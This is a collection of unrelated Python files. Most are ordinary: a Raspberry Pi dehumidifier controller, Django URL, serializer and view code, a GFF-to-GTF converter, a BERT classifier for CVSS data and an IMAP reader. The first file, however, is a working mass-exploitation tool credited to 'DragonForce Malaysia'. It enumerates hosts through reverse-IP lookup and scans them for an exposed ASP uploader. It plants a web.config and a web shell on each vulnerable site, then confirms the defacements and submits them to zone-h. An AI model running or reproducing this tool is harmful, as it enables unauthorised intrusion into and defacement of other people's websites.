import cloudscraper, sys, os, colorama, time, ctypes, datetime, sys, platform
from urllib.parse import urlparse
from colorama import Fore, Back, Style
from datetime import date
from time import gmtime, strftime

today = date.today()
d2 = today.strftime("%B %d, %Y")

if platform.system()=='Linux':
    os.system('clear')
    sys.stdout.write("\x1b]2;Priv8 Tools DFM\x07")
else:
    os.system('cls')
    ctypes.windll.kernel32.SetConsoleTitleW(f'Priv8 Tools DFM | {d2}')

print(f"""{Style.BRIGHT + Fore.RED}
 ██████╗ ██████╗  █████╗  ██████╗  ██████╗ ███╗   ██╗███████╗ ██████╗ ██████╗  ██████╗███████╗   ██╗ ██████╗
 ██╔══██╗██╔══██╗██╔══██╗██╔════╝ ██╔═══██╗████╗  ██║██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝   ██║██╔═══██╗
 ██║  ██║██████╔╝███████║██║  ███╗██║   ██║██╔██╗ ██║█████╗  ██║   ██║██████╔╝██║     █████╗     ██║██║   ██║
 ██║  ██║██╔══██╗██╔══██║██║   ██║██║   ██║██║╚██╗██║██╔══╝  ██║   ██║██╔══██╗██║     ██╔══╝     ██║██║   ██║
 ██████╔╝██║  ██║██║  ██║╚██████╔╝╚██████╔╝██║ ╚████║██║     ╚██████╔╝██║  ██║╚██████╗███████╗██╗██║╚██████╔╝
 ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═══╝╚═╝      ╚═════╝ ╚═╝  ╚═╝ ╚═════╝╚══════╝╚═╝╚═╝ ╚═════╝

{Fore.WHITE}═══════════════════════════════════════════════════════════════════════════════════════════════════════════════
{Style.BRIGHT + Fore.YELLOW}
                               Priv8 PoC Israhell Made By Manualize and Eagle Eye
                                   Func reverse ip lookup scan exploitable server
                                            https://dragonforce.io
                                            Telegram: dragonforceio
                                Get Started With (pip install -r requirements.txt)

{Fore.WHITE}═══════════════════════════════════════════════════════════════════════════════════════════════════════════════
""")

def helpdesk():
    print(Style.BRIGHT+"\t\t\tUsage (reverse ip lookup): python exp.py l target.com")
    print(Style.BRIGHT+"\t\t\tUsage (Check Exploitable): python exp.py e dfm_sitelist.txt")
    print(Style.BRIGHT+"\t\t\tUsage (Upload Shell): python exp.py x vulnsite.txt")
    print(Style.BRIGHT+"\t\t\tUsage (Check deface + zone-h submission): python exp.py c vulnsite.txt")

def checkWeb(web):
    urlArr = urlparse(web)
    if(urlArr.scheme=="https"):
        return web.replace("https://","")
    elif(urlArr.scheme=="http"):
        return web.replace("http://","")
    else:
        return web.replace("/","")

def reverse_ip(target):
    url = checkWeb(target)
    api = "https://api.hackertarget.com/reverseiplookup/?q="
    scraper = cloudscraper.create_scraper(
    browser={
        'browser': 'firefox',
        'platform': 'linux',
        'mobile': False
    }
)
    res = scraper.get(api+target)
    if(res.status_code==200 and res.text=='error check your search parameter'):
        print(Style.BRIGHT+"\t\t\t\terror check your search parameter")
        sys.exit(0)
        os._exit(0)
    else:
        i = 0
        dfmfile = open('dfm_'+target+'.txt','w')
        for line in res.text:
            dfmfile.write(line)
        dfmfile.close()
        count = open('dfm_'+target+'.txt','r')
        c = count.readlines()
        for no in c:
            i += 1
        print(Fore.BLUE+"\t\t\t\t\t\tTotal site found: {}".format(i))

def arglength():
    if(len(sys.argv)>3 or len(sys.argv)<=1):
        return False
    else:
        return True

def position(arr,types):
    if(types=="l" or types=="e" or types=="x" or types=="c"):
        return arr.index(types) + 1
    else:
        print(Style.BRIGHT+"\t\t\t\t\tCommand not found!")
        helpdesk()
        sys.exit(0)
        os._exit(0)

def exploiter(wordlist):
    cpf = "cpanel/uploader.asp"
    shelled = []
    scraper = cloudscraper.create_scraper(
    browser={
        'browser': 'firefox',
        'platform': 'linux',
        'mobile': False
    }
)
    try:
        f = open(wordlist,'r')
        lines = f.readlines()
        for line in lines:
            try:
                uploader = scraper.get("http://"+line.replace("\n","")+"/"+cpf,timeout=3)
                if uploader.status_code==200:
                    headers = {"Content-Type":"multipart/form-data"}
                    payload = {'file': ('web.config', open('shell/config.txt', 'rb'),'image/jpeg')}
                    webconf = scraper.post("http://"+line.replace("\n","")+"/"+cpf,files=payload,headers=headers)
                    if 'web.config' in webconf.text:
                        shells = {'file': ('priv8.cer', open('shell/shell.txt', 'rb'),'image/jpeg')}
                        upfile = scraper.post("http://"+line.replace("\n","")+"/"+cpf,files=shells,headers=headers)
                        if 'priv8.cer' in upfile.text:
                            print(Style.BRIGHT+Fore.GREEN+"Successfully uploaded! -> {}".format(upfile.text))
                            shelled.append(upfile.text)
                else:
                    print(Style.BRIGHT+Fore.RED+"Not vulnerable -> {}".format(line.replace("\n",""))+Fore.BLUE+" (Maybe vuln from authentication)")
            except:
                print(Style.BRIGHT+Fore.RED+"Error while connecting site -> {}".format(line.replace("\n","")))
        c = open('shelled.txt','a')
        for sh in shelled:
            c.write(sh+"\n")
        c.close()
        print(Fore.BLUE+"\nShelled site saved in shelled.txt")
    except:
        print("File not found!")

def expPath(wordlist):
    exp = "myAccount.asp"
    cpf = "cpanel/uploader.asp"
    scraper = cloudscraper.create_scraper(
    browser={
        'browser': 'firefox',
        'platform': 'linux',
        'mobile': False
    }
)
    try:
        f = open(wordlist,'r')
        lines = f.readlines()
        vulnsite = []
        for line in lines:
            try:
                gotcha = scraper.get("http://"+line.replace("\n","")+"/"+exp,timeout=3)
                gotchx = scraper.get("http://"+line.replace("\n","")+"/"+cpf,timeout=3)
                if(gotcha.status_code==200 or gotchx.status_code==200):
                    print(Style.BRIGHT+Fore.WHITE+"\t\t\t-------------------------------------------------------------")
                    print(Fore.BLUE+"\t\t\tSite may vulnerable for registration -> {}".format(line))
                    vulnsite.append(line)
                    if 'סיסמא' in gotcha.text:
                        print(Fore.GREEN+"\t\t\t\t  **Site exploitable from authentication!**")
                        print(Style.BRIGHT+Fore.WHITE+"\t\t\t-------------------------------------------------------------")
                    if gotchx.status_code==200:
                        print(Fore.GREEN+"\t\t\t\t  **Site exploitable for CSRF Upload!**")
                        print(Style.BRIGHT+Fore.WHITE+"\t\t\t-------------------------------------------------------------")
                else:
                    print(Fore.RED+"\t\t\tSeems not exploitable -> {}".format(line))
            except:
                print(Fore.YELLOW+"\t\t\tNo connection -> {} ".format(line))
        save = open('vulnsite.txt','a')
        for vuln in vulnsite:
            save.write(vuln)
        save.close()
        if os.path.isfile('vulnsite.txt'):
            print(Fore.GREEN+"\n\nAll Exploitable site saved in vulnsite.txt")
    except FileNotFoundError:
        print(Fore.RED+"\t\t\t\t\tFile could not be loaded!")

def checkDef(site):
    path = "index.html" #Change defaced path file
    match = "www.dfus123.co.il" #Specify text in your defacement
    headers = {"Content-Type":"application/x-www-form-urlencoded"}
    zoneh = "https://zone-h.org/notify/single"
    notdefaced = []
    scraper = cloudscraper.create_scraper(
    browser={
        'browser': 'firefox',
        'platform': 'linux',
        'mobile': False
    }
)
    try:
        f = open(site,'r')
        lines = f.readlines()
        for line in lines:
            try:
                site = "http://"+line.replace("\n","")+"/"+path #Change defaced path file
                payload = {"defacer" : "DragonForceMalaysia","domain1" :  site,"hackmode" : 18, "reason" : 1} #Change defacer name
                gotcha = scraper.get(site)
                if(gotcha.status_code==200):
                    if match in gotcha.text:
                        print(Style.BRIGHT+Fore.GREEN+"Defaced : " + site)
                        try:
                            zonex = scraper.post(zoneh,data=payload,headers=headers,timeout=5)
                            if "ERROR" in zonex.text:
                                print(Style.BRIGHT+Fore.YELLOW+"Site already submitted!")
                            else:
                                print(Style.BRIGHT+Fore.GREEN+"Submitted to zone-h")
                        except:
                            print(Style.BRIGHT+Fore.RED+"Problem connecting zone-h")
                    else:
                        print(Style.BRIGHT+Fore.BLUE+"No deface yet : " + site)
                        notdefaced.append(site)
            except:
                print(Style.BRIGHT+Fore.RED+"Error connecting {} maybe SSL?".format(site))
        dfm = open("dfm_not.txt","w")
        for i in notdefaced:
            dfm.write(i + "\n")
        dfm.close()
    except:
        print(Style.BRIGHT+Fore.RED+"File not found!")

if(arglength()==False):
    helpdesk()
else:
    try:
        target = position(sys.argv,sys.argv[1])
        if(sys.argv[1]=="l"):
            reverse_ip(sys.argv[target])
        elif(sys.argv[1]=="x"):
            exploiter(sys.argv[target])
        elif(sys.argv[1]=="c"):
            checkDef(sys.argv[target])
        else:
            expPath(sys.argv[target])

    except KeyboardInterrupt:
        try:
            sys.exit(0)
        except SystemExit:
            os._exit(0)


#!/usr/bin/env python3
'''
**********************************************************************
* Filename      : relay1.py
* Purpose       : To control mains power supply to dumb Dehumidfier
* Created       : Dec 2019 fully reworked in Jan 2021
* Author        : Derek
**********************************************************************
* 16 Nov 2020 - make config data reload if fileexternally changed.
*
**********************************************************************
Updates:
20 Jan 2021 - DHTsensor now powered from a GPIO pin. Hence new routine to
              reaset it. Previously done using spare relay in the
              2 channel module on a direct power line. RElay2 left in code
              but not used. Status set that on board LED is not lit.
22 Jan 2021 - Reworked to add LCD output dispaly.

24 Jan 2021 - Add network tests for local router and Internet access
'''
# needed to access my other Pyton std. modules
import sys, os
sys.path.append(os.path.abspath("/home/pi/dev/gpio"))

import RPi.GPIO as GPIO
from time import sleep
from  RPLCD_class import Mylcd

import sensors   as sensor
import mytimer   as T
import FileClass as FU
import os
import DU
import config   as CFG

class Params(object):
    def __init__(self, File):
        self.InputFile = File
        self.LoadParams(self.InputFile)
        self.wrte2logfile()

    def LoadParams(self,configfile):
        oCfg     = CFG.ReadConfig(configfile)

        self.TestTime      = int(oCfg.GetConfigValue('TESTTIME'))
        self.PollTime      = int(oCfg.GetConfigValue('POLLTIME'))
        self.RestTime      = int(oCfg.GetConfigValue('RESTTIME'))
        self.MaxConRunTime = int(oCfg.GetConfigValue('MAXCONRUNTIME'))
        self.IntNetwork    =     oCfg.GetConfigValue('INTNETWORK')
        self.ExtNetwork    =     oCfg.GetConfigValue('EXTNETWORK')

        self.OffThres = float(oCfg.GetConfigValue('OFFTHRES')) # % RH - Threshold to turn OFF power
        self.OnThres  = float(oCfg.GetConfigValue('ONTHRES'))  # % RH - Threshold to turn ON  power

    def wrte2logfile(self):
        ### write basic data to log file
        logger.write("\nBasic Control Data")
        logger.write("Int Network       : "+self.IntNetwork)
        logger.write("Ext Network       : "+self.ExtNetwork+"\n")

        logger.write("Test Time         : "+str(self.TestTime)+" secs")
        logger.write("Poll interval     : "+str(self.PollTime)+" secs")
        logger.write("Max con run time  : "+str(self.MaxConRunTime)+" secs")
        logger.write("Rest Time         : "+str(self.RestTime)+" secs")
        logger.write("")
        logger.write("OFF threshold     : "+str(self.OffThres)+" %RH")
        logger.write("ON  threshold     : "+str(self.OnThres) +" %RH")

    def ReLoadParams(self):
        self.LoadParams(self.InputFile)
        self.wrte2logfile()
# set Pi pin config to "Board" NOT Physical pin numbers
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)

##### Object Defintions
logger  = DU.c_logger("/home/pi/dev/logs","log1.txt")
logger2 = DU.c_logger("/home/pi/dev/logs","log2.txt")

lcd     = Mylcd(i2c_expander='PCF8574', address=0x27, cols=16, rows=2)

# Realy #1 switched mains voltage !| grep re

Relay1_pin = 17
oRL1 = sensor.Relay(Relay1_pin)

## Relay #2 NOT used as at 20 Jan 2021
#but still wired up.
Relay2_pin = 18
oRL2 = sensor.Relay(Relay2_pin)
oRL2.switchOFF() # needed to define state, hence switch relay #2 LCD OFF

DHT_SENSOR  = 22
DHT_PIN     = 4
DHT_PWR_PIN = 27

oHT = sensor.Humidity(DHT_SENSOR,DHT_PIN, DHT_PWR_PIN)

oT  = T.timer()

oP = Params("config.txt")     # run time parameters

oF = FU.FileMod(oP.InputFile) # check if file updated while prog is Live
#####

def main():
    print("\nStarting RELAY1.py ...........\n")
    # check and Display network status on LCD
    oTest = DU.Comms(logger)
    rc = oTest.checknetwork(oP.IntNetwork ,4)
    lcd.write2pos("Int. Net= "+str(rc),1,1)

    rc = oTest.checknetwork(oP.ExtNetwork ,4)
    lcd.write2pos("Ext. Net= "+str(rc),2,1)
    sleep(3)

    ### COUNTERS
    OFFcount = 0 # set in the intialisaton process
    ONcount  = 0 # ditto
    PollCount= 0 #
    errcnt   = 0 # count of errors reading the DHT22 sensor

    ### set initial state
    logger.write("***** INITIALISATION *****")
    logger.write("Start Up  SWITCHing  ON  for "+str(oP.TestTime)+" secs"+"\n\t\t\t\t\t  to Test Humidfier fires up!")

    oRL1.switchON()
    sleep(oP.TestTime)

    oRL1.switchOFF()
    ON_FLAG = False
    logger.write("STARTUP   State = SWITCHed  OFF")
    oT.resetstarttime()

    ##### Start Infinte Polling Loop
    lcd.clear()
    while True:

        # Check if config.txt has been updated while program is running?
        if oF.Changed():
            logger.write("")
            logger.write("*** START  - Run Data ReLoaded ***")
            oP.ReLoadParams()
            logger.write("*** FINISH - Run Data ReLoaded ***")
            logger.write("")
        else:
            pass

        # READ DHT22 sensor values
        hvalue, tvalue =  oHT.read_dht()
        etime = oT.secs2dhms(oT.elapsedtime())
        logger.write ("Humidity : "+str(hvalue)+", Temp: "+str(tvalue)+" Elapased= "+str(etime) )
        logger2.write("Humidity : "+str(hvalue)+", Temp: "+str(tvalue)+" Elapased= "+str(etime) )

        lcd.write2pos("RH%={0:0.1f}".format(hvalue),1,1)
        lcd.write2pos(" "+chr(0)+"C={0:0.1f}".format(tvalue), 1,9)

        lcd.write2pos("{0:0.1f}{1}{2}{3:0.1f}".format(oP.OffThres, chr(3), chr(126), oP.OnThres), 2,1)
        PollCount += 1
        logger.write("")
        logger.write("*** Poll # = "+str(PollCount)+"  Time frm Start : "+str(oT.secs2dhms(int(oT.timefromprogramstart()) )))

        if(hvalue == 999):
            errcnt +=1
            if(errcnt >1000):
                logger.write("ERROR: Maxiumm sensor read Errors/Resets exceeded - program halted")
                destroy()
                break
            else: # take corrective action and rseet DHT22 by repowering it
                logger.write("ERROR: Reading DHT22 values -- Power OFF DHT-22, count: "+str(errcnt))
                oHT.reset()
                logger.write("ERROR: Reading DHT22 values -- Power ON  DHT-22")

        if  hvalue > oP.OnThres:
            if not ON_FLAG: # 1st time in this section of code
                ON_FLAG = True
                ONcount += 1
                logger.write("Zone_ON   SWITCHing  ON, count= "+str(ONcount))
                oT.resetstarttime()
                oRL1.switchON()
                lcd.write2pos("ON  ",2,13)
            else:          # 2nd or subsequent time in this code section
                logger.write("Zone_ON   State = SWITCHed  ON")
                CheckMaxRunTime(oP.MaxConRunTime, oP.RestTime, oP.PollTime,  ON_FLAG,ONcount,OFFcount)

        elif hvalue <= oP.OffThres:
            if ON_FLAG : # ie 1st time in this code section
                ON_FLAG = False
                OFFcount += 1
                logger.write("Zone_OFF   SWITCHing OFF,count= "+str(OFFcount))
                oT.calccumruntime()
                oRL1.switchOFF()
                lcd.write2pos("OFF ",2,13)

            else:
                logger.write("Zone_OFF   State = SWITCHed OFF")
                lcd.write2pos("OFF ",2,13)

        else: # Between the Max and Min thresholds
            if ON_FLAG:
                logger.write("Zone_ONorOFF   State = SWITCHed ON")
                CheckMaxRunTime(oP.MaxConRunTime, oP.RestTime, oP.PollTime, ON_FLAG, ONcount,OFFcount )
            else:
                logger.write("Zone_ONorOFF   State = SWITCHed OFF")

        sleep(oP.PollTime)
        logger.write("*** END OF POLLING LOOP")

    ##### End of Polling Loop

def CheckMaxRunTime(MaxConRunTime, RestTime, PollTime, ON_FLAG,ONcount,OFFcount):
        # Purpose: Check that maximum continuous run time has not been exceeded and if it has
        #          been then invoke rest period.
        if  oT.elapsedtime() > (MaxConRunTime):

            logger.write("   MAX Con. running time exceeded. Value    : "+str(oT.secs2dhms(oT.elapsedtime())) )
            logger.write("   NOW Invoking rest time of                : "+str(oT.secs2dhms(RestTime)))

            OFFcount += 1
            logger.write("   SWITCHing  OFF, count: "+str(OFFcount))
            oRL1.switchOFF()

            oT.calccumruntime()
            ttot = oT.secs2dhms(oT.getcumruntime() )
            logger.write("   Cum. Continuous running time to date is  : "+str(ttot) )

            lcd.write2pos("REST",2,13)
            sleep(RestTime)
            oT.resetstarttime()
            ONcount +=1
            logger.write("   SWITCHing  ON. count: "+str(OFFcount))

            oRL1.switchON()
            lcd.write2pos("ON  ",2,13)
        else:
            logger.write("   Max run time NOT exceeded.  On count: "+str(ONcount)+", OFF count: "+str(OFFcount))

def destroy():
    oRL1.switchOFF()
    lcd.cleanup()
    GPIO.cleanup()
    print("\nTime since program start: "+str(oT.secs2dhms(int(oT.timefromprogramstart()) )))
    print(  "Total ON time           : "+str(oT.secs2dhms(oT.getcumruntime()) ))
    print("\nAll done in relay\n")

if __name__ == '__main__':

    try:
        main()
    except KeyboardInterrupt:
        destroy()


from collections import defaultdict
from typing import List

class GroupAnagrams:
    def groupAnagrams(self, strs: List[str]) -> List[List[str]]:
        group=defaultdict(list)
        for st in strs:
            group[tuple((sorted(st)))].append(st)
        return list(group.values())

if __name__ == '__main__':
    init = GroupAnagrams()
    print(init.groupAnagrams(["eat", "tea", "tan", "ate", "nat", "bat"]))


from django.urls import path
from .views import (
    PedidoListView,
    PedidoDetailView,
    PedidoCreateView,
    PedidoUpdateView,
    PedidoDeleteView,
)

from pedidos.views_orden_trabajo import OrdenTrabajoDetailView, OrdenTrabajoListView
from pedidos.views_core import PedidoEnProcesoView, OrdenTrabajoFinalizadaView

app_name = "pedidos"
urlpatterns = [
    path("", PedidoListView.as_view(), name="list"),
    path("new/", PedidoCreateView.as_view(), name="create"),
    path("<int:pk>/", PedidoDetailView.as_view(), name="detail"),
    path("<int:pk>/delete/", PedidoDeleteView.as_view(), name="delete"),
    path("<int:pk>/update/", PedidoUpdateView.as_view(), name="update"),
    path("ordenes/", OrdenTrabajoListView.as_view(), name="ordenes"),
    path("orden_trabajo/<int:pk>/", OrdenTrabajoDetailView.as_view(), name="ot_detail"),
    # Estado Pedido
    path("pagar/", PedidoEnProcesoView, name="cambiar_estado"),
    path("finalizar_ot/", OrdenTrabajoFinalizadaView, name="finalizar_ot"),
]


from dataclasses import field
from pdb import post_mortem
from rest_framework import serializers
from user.models import User as UserModel
from .models import Post as PostModel, PostImg as PostImgModel

class PostSerializer(serializers.ModelSerializer):
    author = serializers.SerializerMethodField(read_only=True)
    author_id = serializers.IntegerField(write_only= True)
    postimg = serializers.CharField(write_only= True)
    def get_author(self, obj):
        return obj.author.username
    def create(self, validated_data):
        author_id = validated_data.pop('author_id')
        author = UserModel.objects.get(id = author_id)
        post_img = validated_data.pop('postimg')
        new_post= PostModel.objects.create(
            author = author,
            **validated_data
        )
        new_post.save()
        PostImgModel(post= new_post, img_url =post_img).save()
        return new_post
    def update(self, instance, validated_data):
        post_img = validated_data.pop('postimg')
        for key, value in validated_data.items():
            setattr(instance,key,value)
        instance.save()
        new_post_img = PostImgModel.objects.get(post = instance)
        new_post_img.img_url = post_img
        new_post_img.save()
        return instance
    class Meta:
        model = PostModel
        fields = ["author", "author_id", "title", "content", "postimg"]


#!/usr/bin/env python

import argparse
import re

def convert_gff_to_gtf(gff_path, gtf_path):
    t = re.compile(r'ID=[0-9]+_([0-9]+);')
    t2 = re.compile(r'ID=cds([0-9]+);')
    with open(gff_path, "r") as gff:
        with open(gtf_path, "w") as gtf:
            for line in gff:
                if line.startswith("#"):
                    continue
                toks = line.strip().split("\t")
                try:
                    orf = t.findall(toks[-1])[0]
                except:
                    try:
                        orf = t2.findall(toks[-1])[0]
                    except:
                        continue
                gene_id = toks[0] + "_" + orf
                toks[-1] = 'gene_id "%s"; %s' % (gene_id, toks[-1])
                gtf.write("\t".join(toks) + "\n")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Converts GFF to GTF from Prodigal output.')

    # required
    parser.add_argument('gff', help='Path to input file.')
    parser.add_argument('gtf', help='Path to output file.')

    args = parser.parse_args()

    convert_gff_to_gtf(args.gff, args.gtf)


import pandas as pd
from django.core.management.base import BaseCommand, CommandError
from meteoapp.models import MeteoData, Site

class Command(BaseCommand):

    help =  """
            Permet d'insérer les données d'un fichier CSV modélisant le modèle MeteoData dans la base de données.
            Arguments:
                - Chemin vers le fichier csv
                - Nom du site auquels appartiennent les données
            """
    def add_arguments(self, parser):
        parser.add_argument('filename', nargs=1, type=str, help='Chemin vers le fichier csv contenant les données')
        parser.add_argument('sitename', nargs=1, type=str, help='Nom du site auxquel appartiennent les données')

    def handle(self, *args, **options):
        df = pd.read_csv(options['filename'][0], parse_dates=['Date Time'], dayfirst=True)
        new_columns = [field.name for field in MeteoData._meta.get_fields()]
        df.columns = new_columns[2:]

        site, created = Site.objects.get_or_create(name=options['sitename'][0])

        MeteoData.objects.bulk_create(MeteoData(site=site, **values) for values in df.to_dict('records'))


from django.contrib import admin
from django.urls import path
from django.conf.urls import include, url

from rest_framework_swagger.views import get_swagger_view
from rest_framework_extensions.routers import ExtendedDefaultRouter

from general.views import *
from accounts.views import *

admin.site.site_title = admin.site.index_title = "Humble Rings Administration"

router = ExtendedDefaultRouter()

router.register(r'users', UserViewSet, basename='users')

workout_routes = router.register(
    r'workouts',
    WorkoutViewSet,
    basename='workouts'
)

exercise_routes = router.register(
    r'exercises',
    ExerciseViewSet,
    basename='exercises',
)

set_routes = workout_routes.register(
    r'sets',
    SetViewSet,
    basename='sets',
    parents_query_lookups=["workout"]
)

schema_view = get_swagger_view(title='Humble Rings API')

urlpatterns = [
    path('admin/', admin.site.urls),
    url(r'^api/', include(router.urls)),
    url(r'^auth/sign-up/', CustomRegisterView.as_view(), name='sign_up'),
    url(r'^auth/sign-in/', CustomLoginView.as_view(), name='sign_in'),
    path(r'swagger/', schema_view),
]


# -*- coding: utf-8 -*-
"""
Created on Sun Aug  7 17:31:01 2022

@author: IIT
"""

#%% library import
import torch
from torch.utils.data import TensorDataset, DataLoader, RandomSampler, SequentialSampler
from transformers import BertTokenizer, BertForSequenceClassification
from sklearn.model_selection import train_test_split

import pandas as pd
import numpy as np
from sklearn import preprocessing
from sklearn.model_selection import train_test_split

from transformers import DataCollatorWithPadding
from transformers import AutoModelForSequenceClassification, TrainingArguments, Trainer

#%% variables
#%%
num_of_epochs = 10
learning_rate = 5e-5
# %% defining custom dataset, training and testing class
import torch

class Dataset(torch.utils.data.Dataset):
    """
    Class to store the data as PyTorch Dataset
    """

    def __init__(self, encodings, labels):
        self.encodings = encodings
        self.labels = labels

    def __getitem__(self, idx):
        # an encoding can have keys such as input_ids and attention_mask
        # item is a dictionary which has the same keys as the encoding has
        # and the values are the idxth value of the corresponding key (in PyTorch's tensor format)
        item = {key: torch.tensor(val[idx]) for key, val in self.encodings.items()}
        item['labels'] = torch.tensor(self.labels[idx])
        return item

    def __len__(self):
        return len(self.labels)

print(Dataset.__doc__)

def train(dataloader, model, optimizer):
    """Method to train the model"""

    model.train()

    epoch_loss = 0
    size = len(dataloader.dataset)

    for i, batch in enumerate(dataloader):
        input_ids = batch['input_ids'].to(device)
        attention_mask = batch['attention_mask'].to(device)
        labels = batch['labels'].type(torch.LongTensor).to(device)

        outputs = model(input_ids, attention_mask=attention_mask, labels=labels)

        optimizer.zero_grad()
        loss = outputs.loss
        epoch_loss += loss.item()
        loss.backward()
        optimizer.step()

    print('Training loss: {:.3f}'.format(epoch_loss / size))

print(train.__doc__)

def test(dataloader, model):
    """Method to test the model's accuracy and loss on the validation set"""

    model.eval()

    size = len(dataloader.dataset)
    test_loss, accuracy = 0, 0

    with torch.no_grad():
        for batch in dataloader:
            X, y = batch['input_ids'].to(device), batch['labels'].type(torch.LongTensor).to(device)
            pred = model(X, labels=y)

            test_loss += pred.loss
            accuracy += (pred.logits.softmax(1).argmax(1) == y).type(torch.float).sum().item()

        test_loss /= size
        accuracy /= size

        print("Test loss: {:.3f}, accuracy: {:.3f}%".format(test_loss, accuracy * 100))

print(test.__doc__)

# %% reading data
data = pd.read_csv('../data/output/data_2019.csv')

allcols = ['description','attackVector','attackComplexity','privilegesRequired','userInteraction','scope',
        'confidentialityImpact','integrityImpact','availabilityImpact','baseScore','baseSeverity','exploitabilityScore','impactScore']
metc_clmn = ['attackVector','attackComplexity','privilegesRequired','userInteraction','scope',
        'confidentialityImpact','integrityImpact','availabilityImpact','baseScore','baseSeverity','exploitabilityScore','impactScore']
data = data[allcols].dropna()

#%% dataset splitiing for test, validate and train
import collections
X_main, X_test_res, y_main, y_test_res = train_test_split(data['description'], data[metc_clmn], test_size=0.2, random_state=42)
X_train, X_test, y_train, y_test = train_test_split(X_main, y_main, test_size=0.2, random_state=42)

#%% converting to list
X_train = X_train.values.tolist()
X_test = X_test.values.tolist()
X_test_res = X_test_res.values.tolist()

#%% tokenizing test data
tokenizer = BertTokenizer.from_pretrained('./model/bert_uncased_L-4_H-512_A-8',do_lower_case = True)

X_train = tokenizer(X_train, return_tensors="pt", padding="max_length", max_length=128, truncation=True)
X_test = tokenizer(X_test, return_tensors="pt", padding="max_length", max_length=128, truncation=True)
X_test_res = tokenizer(X_test_res, return_tensors="pt", padding="max_length", max_length=128, truncation=True)

# %% preparing label data

#%% creating dataSet and dataLoaders
from torch.utils.data import DataLoader

train_loader = DataLoader(Dataset(X_train, y_train), batch_size=64, shuffle=True)
test_loader = DataLoader(Dataset(X_test, y_test), batch_size=64, shuffle=True)
test_res_loader = DataLoader(Dataset(X_test_res, y_test_res), batch_size=64, shuffle=True)

# %%

from numpy import mean
from torch import nn

from transformers import AdamW

print('Created train & val datasets.')

# device (turn on GPU acceleration for faster execution)
device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')

# model
model = AutoModelForSequenceClassification.from_pretrained('./model/bert_uncased_L-4_H-512_A-8', num_labels=4)
model.to(device)

#optimizer
optimizer = AdamW(model.parameters(), lr=learning_rate)

#%%

def pri():
    '''doc'''
    number = 0
    print(number)

number = {'a':12,'v':432}
pri()
print(number)


import imaplib
import email
from datetime import datetime, timedelta
from io import BytesIO

from src.components import SpeakChromium

def ReadEmails():

    # Connect to the IMAP server
    imap_server = imaplib.IMAP4_SSL("imap.example.com")
    imap_server.login("username", "password")

    # Select the inbox
    imap_server.select("inbox")

    # Search for important emails received in the last hour
    now = datetime.now()
    before = (now - timedelta(hours=1)).strftime("%d-%b-%Y")
    status, messages = imap_server.search(
        None, f'X-GM-LABELS "important" SINCE {before}')

    # Iterate over the email IDs
    for email_id in messages[0].split():
        # Fetch the email
        status, msg = imap_server.fetch(email_id, "(RFC822)")

        # Parse the email
        email_message = email.message_from_bytes(msg[0][1])

        # read the email body
        email_body = ""
        if email_message.is_multipart():
            for part in email_message.get_payload():
                if part.get_content_type() == "text/plain":
                    email_body += part.get_payload()
        else:
            email_body = email_message.get_payload()

        # read the email body
        SpeakChromium(email_body)

        # Iterate over attachments
        for part in email_message.walk():
            if part.get_content_maintype() == 'multipart':
                continue
            if part.get('Content-Disposition') is None:
                continue
            filename = part.get_filename()

            if not filename:
                continue

            # reading the attachment
            data = part.get_payload(decode=True)
            file_like = BytesIO(data)
            print(f'attachment {filename} is being processed')
            # read the name of attachments
            SpeakChromium(filename)

    # Close the IMAP connection
    imap_server.close()
    imap_server.logout()


from django.shortcuts import render
from django.http import HttpResponse
from .models import Order, OrderItem
from django.db import connection
from django.db.models import Sum
import operator
from django.views.decorators.csrf import csrf_exempt
from datetime import datetime
from django.db.models import Min, Max

@csrf_exempt
def period(request):

    if 'from' not in request.POST:
        date1 = Order.objects.aggregate(Min('created_date'))['created_date__min']
    else:
        date1 = datetime.strptime(request.POST['from'], "%Y-%m-%d %H:%M:%S")

    if 'to' not in request.POST:
        date2 = Order.objects.aggregate(Max('created_date'))['created_date__max']
    else:
        date2 = datetime.strptime(request.POST['to'], "%Y-%m-%d %H:%M:%S")

    orders = Order.objects.all().filter(created_date__gte=date1, created_date__lte=date2).order_by('created_date')
    result = []
    for order in orders:
        local={}
        local['created_date']=order.created_date
        local['number']=order.number
        orderItems = OrderItem.objects.filter(order_id=order.number)
        articles = ''
        sum = 0
        for orderItem in orderItems:
            articles += orderItem.product_name+'*'+str(orderItem.amount)+' '
            sum += orderItem.product_price*orderItem.amount
        local['articles'] = articles
        local['sum'] = sum
        result.append(local)
    queries = connection.queries
    dates_1 = Order.objects.values_list('created_date', flat=True)
    dates=[]
    for date in dates_1:
        dates.append(str(date)[:-6])
    context = {'orders': result, 'queries' : queries, 'dates':dates, 'date1':date1, 'date2':date2}
    return render(request, 'first_app/period.html', context)

def top100(request):

    orders = {}

    # Получение всех названий товаров
    items = OrderItem.objects.values_list('product_name', flat=True)

    # Исключение повторяющихся
    items = list(set(items))

    # Подсчет количества товаров
    for item in items:
        orders[item] = OrderItem.objects.filter(product_name=item).aggregate(Sum('amount'))['amount__sum']

    # Сортировка товаров по убыванию
    sorted_orders = sorted(orders.items(), key=operator.itemgetter(1), reverse=True)

    # Инициализация результирующего словаря
    result = []

    # Обход всех товаров по порядку
    for sorted_order in sorted_orders:

        # Инициализация словаря для одного товара
        local = {}

        # Запись названия товара в словарь товара
        local['product_name'] = sorted_order[0]

        # Определение всех номеров заказов по данному товару
        id_list = list(OrderItem.objects.filter(product_name=local['product_name']).values_list('order_id', flat=True))
        local_orders = Order.objects.filter(number__in=id_list)

        local['data'] = ''
        for local_order in local_orders:
            local_item = OrderItem.objects.get(order_id=local_order.number, product_name=item)
            local['data'] += f'Заказ {local_order.number} - Цена {local_item.product_price} - Дата {local_order.created_date}, '

        result.append(local)

    queries = connection.queries
    context = {'orders': result, 'queries' : queries}
    return render(request, 'first_app/top100.html', context)


from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

DOCUMENTATION = r'''
---
module: zvm_startstop_user

short_description: z/VM start and stop guest/user Ansible Module

version_added: "0.0.1"

description:
    an Ansible module starting and stopping z/VM virtual machines.
    One option is to use SMAPI, but SMAPI does not provide an API to direct a
    virtual machine to IPL from a specific device, nor does it allow to pass
    a 'first command' to a virtual machine. the z/VM XAUTOLOG command does allow
